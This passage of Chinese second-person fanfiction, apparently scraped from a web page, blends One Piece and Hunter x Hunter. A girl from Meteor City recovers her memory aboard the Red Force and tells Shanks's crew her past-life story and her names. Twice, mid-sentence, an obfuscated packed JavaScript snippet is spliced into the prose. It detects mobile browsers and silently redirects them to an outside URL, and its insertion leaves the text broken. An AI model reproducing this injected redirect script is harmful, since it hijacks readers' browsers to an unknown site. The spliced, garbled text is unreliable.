没错,耶稣布的脸是看到你在甲板上睡着,想好心给你盖毯子的时候不慎被你咬一口破的,莱姆琼斯的头发是他在嫌弃你以后被你偷袭期间不小心被火给燎了的,路的手是在想给你喂水果的时候被你差点咬穿的,猛士达的尾巴是你趁着它睡觉的时候偷偷剃掉的,香克斯的脸是在逗你玩的时候大意被你挠花的。 基本上雷德号上的大干部们多多少少都遭受到过你的迫害了,为此贝克曼抓住你揍了一顿,接着记仇小心眼的你把他的文件弄乱还撕了好几张,气得贝克曼想再打你一顿,只是这次他的手还没碰到你,你先一步发出了撕心裂肺的鬼哭狼嚎声,巨大的分贝吵得贝克曼直捂耳朵,同时召唤来了鸟妈妈—本乡,于是就有了刚刚的那一幕。 把你带回自己房间的本乡用力将门关上,一把把你甩在柔软的床铺上,力道刚好是让你有点懵逼但又不会疼的程度。 你摇晃有些摔晕的脑袋想要从床上跳下来,结果在落地时脚下一个踉跄险些摔倒时,本乡的大手接住了你,他把你扶正后无奈的叹了口气:“你就不能稍微乖乖的待一会吗?” “......我要回流星街。”你后退两边,离开了这个让你有些贪恋的温暖怀抱,低着头不肯看他,“我不要待在这里,我要回去......” 你还记得养母和教父教导过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513264|186181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,你们生来就是被他人遗弃抛弃之人,在外人眼中你们是最低廉易得的消耗品,外人最会使用一点干净的水源、正常的食物、新奇的玩具、甜蜜的语言、温暖的怀抱来哄骗你们这些流星街的孩子,好让你们心甘情愿的跟着他们离开,成为他们的刀、他们的剑、他们的各种商品,所以你们不能相信外人的话,因为他们都是最可怖贪婪的骗子,会利用你们,撕碎你们,将你们啃食殆尽。 但是......但是......你真的好喜欢这个人的怀抱,很宽大也很温暖,他抱着你的时候你总能闻到他衣服上带着点奇怪味道又香香的味道,和流星街永远弥漫着的腐臭味完全不同。他还会给你喝甜甜的透明的水,给你很多很多不用抢就能吃到的新鲜食物,不管你怎么打他骂他伤害他,他都不会打你,他对你的样子有点像养母,你有点喜欢他。 但是,你是流星街的孩子,这里的一切都不属于你,只有流星街才是你可以安心的地方。 虽然那里很糟糕,虽然那里到处都是垃圾,虽然那里总是缺少各种物资,虽然那里很危险,一个不小心就会丢掉性命,但是那里才是你唯一的家啊。 本乡单膝跪在你身前,动作缓慢而温柔的将你抱在怀里,轻轻抚摸着你的后脑勺问你:“为什么一定要回到流星街呢?”这是个他从来没有听过的地方,他不明白,失忆的你为什么会对这个地方却有着近乎眷恋的执着。 “......流星街是家。”被温柔包裹着的你小声回答,两只手无措的拽紧了衣角。 家?这是个出乎本乡意料的答案。 本乡缓慢的说出:“但这里没有流星街。” 听到这句话,巨大的恐惧袭上你的心头,什么温柔的怀抱、干净的食物和水都无法吸引你,你只想回到那个让你安心的地方,你再次开始大哭大闹起来:“你胡说!你骗人!我要回去!养母还在流星街等我回去!” “这里没有流星街!”本乡牢牢抱住你再次重申了这件事,他任由你对他拳打脚踢,也要让你接受你再也回不去那个所谓的流星街的事实。 你撕心裂肺的大哭着:“我要回家!我不要待着这里,我要回家!” 本乡满眼心疼的看着哭到快背过气的你,语气无比坚定的说:“这里会是你的家,雷德号是我们所有人的家。” “你是红发海贼团的一员,只要你不背叛我们,这里永远都会是你的家,我们都会是你的家人。” 这次之后,你突然安静沉默了很多,这过分乖巧的反差让雷德号上的其他人都深深怀疑你是不是生病了,时不时的在你面前做鬼脸扮丑想把你逗笑,或者是在他们上岸的时候买些毛绒玩具给你,在一众奇形怪状的玩偶中你最喜欢的是一只毛绒小狗,那是耶稣布买给你的,你每天都会抱着小狗蹲在甲板上看着他们。 直到有天,他们久违的和一个海贼团发生了较大规模的战斗,在战斗开始前本乡把你塞进了一间偏僻的仓库里,只要你乖乖待在里面就不会有问题,可偏偏意外发生了。 有个敌人意外摔进了你所在仓库,他在看到躲在角落里抱成一团的你瞬间眼睛都亮了,狰狞笑着朝你走来,举起的长刀上折射出你带着恐惧的眼神。出身流星街的你虽然害怕,但是也不会束手就擒,你瞅准敌人举刀的空隙用力把小狗砸在他的脸上,趁着敌人捂鼻呼痛的时机从他的身旁穿过跑向甲板。 “可恶的臭丫头!” 被一只毛绒玩具砸断了鼻梁的孩子愤怒的转身,朝你用力抛出了手中的长刀,眼见长刀就要贯穿你身体的时候,一个熟悉的身影迅速出现把你推开,那柄长刀划破了那人的左臂。 你不敢置信的呢喃着:“本......本乡......” 等战斗结束以后,你扭扭捏捏的来到医务室,看着本乡已经包扎好的手臂,小嘴用力抿着,眼圈也红了。 本乡看着你要哭不哭的样子,好笑的轻拍了你几下头:“没事的,这点小伤很快就好了。” 然后本乡就发现你低下了头,他还以为是因为拍你头让你不开心了,生疏的哄着你说:“对不起啊,我都忘了你不喜欢别人......”拍你头来着。 他的话还没说完,你就整个扑进了他的怀里,双手牢牢抱住他紧实的腰,本乡被你突然起来的主动弄得发愣,只能下意识的回抱着了你。 你埋在本乡怀里声音闷闷的说:“......芝阳,养母说捡到我那天是难得的大晴天,所以给我取名叫芝阳。” 是你说你们会是我的家人,现在我把我的名字告诉你们,以后要是敢背叛我的话,就算是天涯海角我也会杀了你们的。 我们,说好了哦。 10. 10 你呆愣愣的看着房间的木质天花板,想杀人的念头在你心中不停酝酿着,半晌后你还是重重叹了口气放弃了。 你破罐子破摔的掀开被子,换好衣服,推门,迎着舒爽的海风走向了阳光,好在和你路过的普通船员都因为你是大干部本乡的女儿,对你也很尊敬。 对了,你失忆的事情只有核心干部才知道,其他人只知道你生病了在休养,所以这段时间才没怎么出现在大家视线中,一路上遇到的人才会时不时关系你是不是身体已经痊愈了。 当你踏上甲板的刹那,正监督着实习生刷甲板的本乡就发现了你,随着他朝你走来,你清晰看到那些实习生大松一口气的表情。 等本乡走到你面前,你突然发现,你居然......长高了?!! 原本的你只能到本乡腰腹部,而现在居然到了差不多胃部的位置,这难道就是你丢脸后的奖励吗? 本乡被你的动作弄得莫名其妙,自从你撒娇(?)抱着他说了名字后,你们之间的关系可以用突飞猛进来形容,你每天睡醒睁眼的第一件事就是来找他,然后会扭捏着不好意思的拉着他的外套衣角轻轻喊“本乡”,这可爱的模样看得他是直接融化了心,是哪怕你下一秒开口说要贝克曼的刘海(贝克曼:?)他也能义无反顾地去剪了给你的程度。所以已经习惯了你每天都会主动来找他的本乡在看到你的时候才会理所应当的以为你是来找他的。 只是你今天并没有像之前一样的撒娇,甚至在看到他以后后退了两步,这疏离的动作让本乡误以为你是不是有哪里不舒服,他一只手贴上你的额头,另一只手贴着自己的额头对比着体温,发现没有异常后很自然的揉了揉你的头,笑着问:“芝阳你今天看起来怎么怪怪的?是身体哪里不舒服吗?” 你听到这个名字,摆出了=_=的表情,对着本乡说:“......别这么喊我,还有,我恢复记忆了。”但如果你失去记忆那段时间的记忆没有就好了,你默默的想着。 “欸?”本乡一时间没反应过来下意识发出了个疑问的声音,然后在反应过来以后又变得无措起来,“那,那个,芝阳你,你恢复记忆了?那之前的事情你......”还记得吗? 你看着本乡透着小心翼翼的目光,长叹了口气,一副败了的样子双手捂脸道:“不是都说了别喊芝阳吗?也别用这幅可怜的样子看着我,我的记忆都在,包括我失忆那段时间的。” 你恢复记忆的消息很快就在大干部中间传开了,得知消息的香克斯酒也不喝了,宿醉的头也不疼了,马不停蹄地跑了过来,对着你左看右看上看下看,也不知道看出了点什么明堂,最后拍拍你的脑袋,非常肯定的说:“嗯,看眼神确实是我们的小蜘蛛回来了呢。” 接着又迅速换成一副非常可惜失望的表情说:“那我们的小芝阳是不是就再也见不到了?” “那孩子好可爱的~当然我没有说小蜘蛛你不可爱,但是那孩子经常会用非常羡慕的眼神看着我,还会和我撒娇,总是会在不经意间露出叫人忍不住疼爱的表情呢~” 你抬脚就往香克斯的两腿间踹去,根本不理会明明闪躲开还大喊大叫的幼稚鬼香克斯“怎么可以踹这里呢?!要是把我踹坏了怎么办啊?!”的声音,而是对一直在旁边默默抽烟却用深邃目光打量你的贝克曼说:“想问什么就问吧。” 反正你在失忆期间都把上辈子的名字告诉他们了,从某种意义上来说,他们确实是你所认可的,能够信赖的,可以交付后背的同伴们了。 “只要你们问,我什么都会告诉你们的。”你如此说道。 “既然如此。”贝克曼直接掐灭了手里的烟,坐直了身体,用带着审视、打量的目光凝视着你,淡淡开口,“那就从你失忆期间总是闹着吵着要回的流星街开始吧,芝、阳、小、姐。” “都说了,别喊我芝阳。”你下意识的反驳了一句,然后在这群大干部们的注视中缓缓开口,“流星街可以称之为我的故乡,当然,也可以叫做家。” “不过那是我上辈子的家。” “等等,等等,上辈子?”这个开头着实有点超出了贝克曼的预期,他皱着眉反问道,“你是想说你有上辈子的记忆?这么离谱的事情你以为我们会相信吗?” “不管你信不信这都是真的。”/“原来是这样啊,难怪我们都没听过流星街这个地方啊。” 你破罐子破摔的声音和香克斯充满惊讶的声音同时响起,然后你就看见刚说完不相信就被自家船长光速打脸的贝克曼脸黑了一度。 而像是没看到贝克曼黑脸的香克斯更是“这又什么,别这么大惊小怪”的表情拍着贝克曼的背大笑着火上浇油:“贝克,这片大海这么大,发生点什么都不奇怪的,不过没想到小蜘蛛你居然有着上辈子的记忆,那你的念也是上辈子有的吗?你上辈子的世界怎么样?有趣吗?有海贼吗?”香克斯星星眼望着你。 你:...... 你喝了口水清了清嗓子开始回答香克斯刚刚的问题:“念能力的确是我上辈子就会的,原本以为这个世界的人也会,没想到你们都不会。” “这个世界?居然两世都不是一个世界的吗?”从你刚刚的那句话里发现了不得力了信息的大干部们开始窃窃私语。 而你只是垂眸看着玻璃杯中的水,自顾自的继续说着:“我上辈子的世界和这里很不一样,人们基本生活在陆地上,大海的面积远没有这里的多,虽然会有些零零散散的小岛,但陆地总体化为了六大块。” 起了头,后面的一切你说的很顺畅。 “而流星街则是整个世界的垃圾集中堆积区,所有人们所不需要的、丢弃的、舍弃的一切垃圾最后都会运往流星街。” 只是听名字感觉流星街应该是个浪漫又美丽的地方的众人被你的介绍给惊到了:“垃、垃圾?” 其中反应快的比如像贝克曼立马皱起了眉,同时向你投来了复杂的目光,发出了轻叹般的问句:“那你是怎么到了哪里?”其实不用你说,贝克曼心里也有了大致的答案,果然你接下来的回答证实了他的猜想,也让他看你的眼神更加复杂了。 你非常平静的,不带任何情绪的,像是在说无关人之事一样的看着他们说出了答案:“弃婴,也是不被人所需要的一种垃圾,自然要和其他垃圾一起被扔到流星街。” 太理所当然的语气,听得他们都皱起了眉,你默默环视了一眼他们的表情,突然有点想笑,你憋了半天,最后还是没忍住笑了出来:“哈哈哈,你们这都是什么奇怪的表情?未免有点太侮辱我了吧?” 下一秒你直接收起笑意,杀气腾腾的看着他们,勾起一抹充满恶意的笑,对他们说:“你们这都是什么眼神?在同情我吗?别小看人了,我能在流星街长大靠的可不是这种可笑的同情,是实打实的实力,所以,收起你们突然泛滥的同情心,少来恶心我。” 你厌恶的话语再次打击到了他们,但是他们也同样发现这种同情对你来说是种非常不尊重的行为,他们迅速调整了自己心态,重新以平等的同伴身份看着你。 看着他们眼神终于正常点了的你哼了一下接着刚刚的话继续说:“虽然流星街是烂了点,但那里容纳着一切,就和你们所深爱着的这片大海一样。不过流星街人所信奉着的是‘我们不拒绝任何东西,但也别想从我们手中夺走什么’理念,说起来这点和你们海贼也有那么一点点的相似。” “长大之后,我跟着另外几个算有点交情的家伙一起合作穿过了流星街最外围的无人沙漠来到了外面,和他们一起简单了解了下流星街外世界的规则。” “外面的世界分为普通人和职业猎人,普通人需要老老实实的遵守着当地的法律法规,而职业猎人却不同。” “猎人,享有着普通人所没有的特权,他们统一由猎人协会负责,凌驾于普通人的法律之上,如果杀人太多,会被其他的赏金猎人抓起来关进特殊的大牢里。” “那什么样的人可以成为职业猎人呢?”好奇宝宝香克斯举手发问。 你回答道:“很简单,只要通过测试就可以。猎人协会每年都有加入的测试,每次报名的人都不少,不过最后能成功找到会场的只有极少数,而最后通过测试的更是寥寥数人,甚至可能一个人的没有,是随时都可能丢掉性命的危险测试。” 耶稣布了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513265|186181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然的摸着下巴:“用测试的方法来筛选人才吗?那是考验人的智力?还是体力?” 贝克曼迅速消化了你话语中透露出来的惊人信息:“应该都有吧,否则也不会有这么凌驾于法律之上的权利。” 你点点头:“确实如此,但通过测试只是第一步,后面的才是重点。”这是某个金发碧眼的笑脸面瘫在拿到猎人执照后告诉你的,告诉你的目的很简单,单纯的炫耀而已,想让你为当时拒绝和他一起参加测试而后悔,反正在之后你们的一次偶遇,你让他后悔了自己当时的炫耀之举。 “是念?”本乡皱着眉看着你。 “对。”你肯定的回答,“学会念,才算是真正的成为猎人,然后可以根据自己的喜好来决定成为哪种猎人。” “比如有些人喜欢研究各种美食,可以成为美食猎人,有些人对各种历史遗迹感兴趣会成为遗迹猎人,还有些人喜欢打击罪犯以此领取悬赏金就会成为赏金猎人,总之猎人的分类五花八门,什么样的家伙都有,这点也和你们海贼挺像的。” 路咬着肉感慨道:“这么听起来,好像小蜘蛛你上辈子生活的世界和我们现在的这个世界相似的地方很多嘛。” 你点点头赞同了路的观点:“所以在我知道你们只能用霸气开不了念,而我开了念但学不会霸气的时候,感觉天都塌了。”这都是什么奇怪的设定啊?既然你可以开念,为什么学不会霸气呢?为什么?!! 贝克曼分析道:“或许还是因为体系不同吧,不管是念也好霸气也好,本质都是在激发身体潜能,只是表现形式有所不同,既然已经激发过了,那自然也不存在二次激发的情况了。” 好像有点道理,你悄然接受了这个观点,然后说:“反正后面的事情你们应该都调查过了,应该也不用我再多说什么了,要是没有问题了可以给我来碗饭吗?”和这群人玩坦白局大半天,睡了一晚空荡荡的胃部早就向你发出了抗议的疼痛,你现在急需食物来填补胃。 这时路才想起来你还没有吃饭,急匆匆的站起来去厨房给你端吃的:“诶呀,都忘了你还没吃饭呢,还好厨房里给你备好了饭菜,直接端过来吃就好了。” 没多久,你就吃上了可口的饭菜,就在你专心吃饭的时候,香克斯笑嘻嘻的凑过来,问你:“虽然很高兴小蜘蛛你能向我们坦白了这么多事情,但是有件事你还没说哦~” 你疑惑脸:“什么事情?” 香克斯不满的捏了捏你的脸:“当然是名字啊!你不让我们喊你芝阳,我猜测那是因为芝阳是你上辈子的名字吧,而且蜘蛛也是你以前敷衍我们的代号吧。” “既然已经接纳我们,认可自己是红发海贼团的一员了,那你是不是应该把这辈子真正的名字告诉我们了呢?” 你不解加迷惑的看着香克斯:“你们不知道?” 香克斯摇摇头,然后你看向本乡问:“你没告诉过他们吗?” 本乡神色微妙的开口:“关于你的名字,我们没查到......” 哈?搞了半天,这群人居然真的从头至尾的都不知道你这一世的名字,难怪成天喊你小蜘蛛,在你说了芝阳这个名字后又整天喊你小芝阳,感情是他们真的以为芝阳就是你的名字啊? 想到这,你饭也不会了,横眉竖眼的抱胸看着他们,非常不满的说道:“桑芙拉,那个笨女人,我的母亲给我取的名字是桑芙拉,寓意为太阳花。” “不要再喊错,尤其是不要忘记了。” “否则我真的会杀了你们的。” 看着你严肃认真的脸,香克斯笑着揉了把你的头,在你生气前用他温柔的目光注视着你,无比认真的说:“虽然很早以前就说过了,但我还是想说......” “欢迎你加入我们,桑芙拉。” “嗯。” 在你失去家的一年后,你非常幸运的又拥有了新的家,也拥有了许多新的家人,虽然你的新家人大多数都吵吵闹闹的,看起来也都不太聪明的样子,但是他们都包容你,最重要的是,他们都很强,不会再因为一点小小生病就突然离你而去了...... 现在的你,又重新拥有了幸福。